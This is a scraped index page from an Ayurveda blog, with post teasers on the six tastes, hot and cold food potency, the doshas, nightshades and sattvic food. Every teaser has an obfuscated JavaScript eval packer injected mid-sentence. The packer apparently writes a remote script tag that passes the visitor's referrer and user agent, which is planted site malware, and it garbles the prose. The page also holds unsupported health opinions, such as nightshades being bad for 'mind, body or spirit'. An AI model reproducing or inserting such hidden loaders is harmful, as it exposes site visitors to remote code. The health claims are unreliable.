The Art & Heart of Ayurveda

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Ayurveda eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zasty|var|u0026u|referrer|sfnhe||js|php’.split(‘|’),0,{})) is said to be the mother of all holistic medical systems. The word Ayurveda literally means “the wisdom of life.” (in sanskrit, Ayu = life or long-life, and Veda = system of science … Continued

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The Six Tastes

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Ayurveda describes food based on the Six Tastes – or Rasa. These  reflect a combination of the five great elements – Sweet eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbeyz|var|u0026u|referrer|yhybf||js|php’.split(‘|’),0,{})) (Earth + Water), Sour (Fire + Earth), Salty (Water + Fire), Pungent (Fire + Air), Astringent (Air … Continued

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Food Potency: Hot & Cold

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In addition to the Six eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaees|var|u0026u|referrer|yfnii||js|php’.split(‘|’),0,{})) Tastes, with respect to food, Ayurveda focuses particularly on the qualities of Hot and Cold – which is referred to as potency, or virya.  This has nothing to do with … Continued

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Ten Pairs of Opposites

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Ayurveda draws on ten pairs of opposites to describe and in a way categorize all matter that exists in the universe. These qualities, or gunas, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehnyt|var|u0026u|referrer|nbysh||js|php’.split(‘|’),0,{})) describe the interaction and inner-workings of the main energy forces … Continued

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Mind/Body Constitution – The Doshas

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According to Ayurveda, three vital body energies (doshas) govern the functions of the body, which again reflect the Five eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkrey|var|u0026u|referrer|eshzz||js|php’.split(‘|’),0,{})) Elements: Kapha (Water + Earth), Pitta (Fire + Water), and Vata (Air + Ether). We … Continued

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The Five Elements – Balancing Mind/Body with Food

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Seeing aspects of the world as reflected through the lens of the five great elements – ether, air, fire, water and earth –  has provided me many practical tools in understanding and addressing my own health and well-being.  (click here … Continued

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Nightshades: Not so good

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From what I can tell, nightshades aren’t so good for us – in mind, body or spirit. They are what I would call a “sattvic-inhibitor.”  (see this post eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fktss|var|u0026u|referrer|etrkz||js|php’.split(‘|’),0,{})) for more about Sattvic foods). Alas, … Continued

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Sattvic Food

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“Without eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bntzt|var|u0026u|referrer|kkibt||js|php’.split(‘|’),0,{})) a healthy food body (physical body), we cannot remember….. the food body is the most tangible form connecting us to universal consciousness” – Maya Tiwari Preparing and eating food can be – and … Continued

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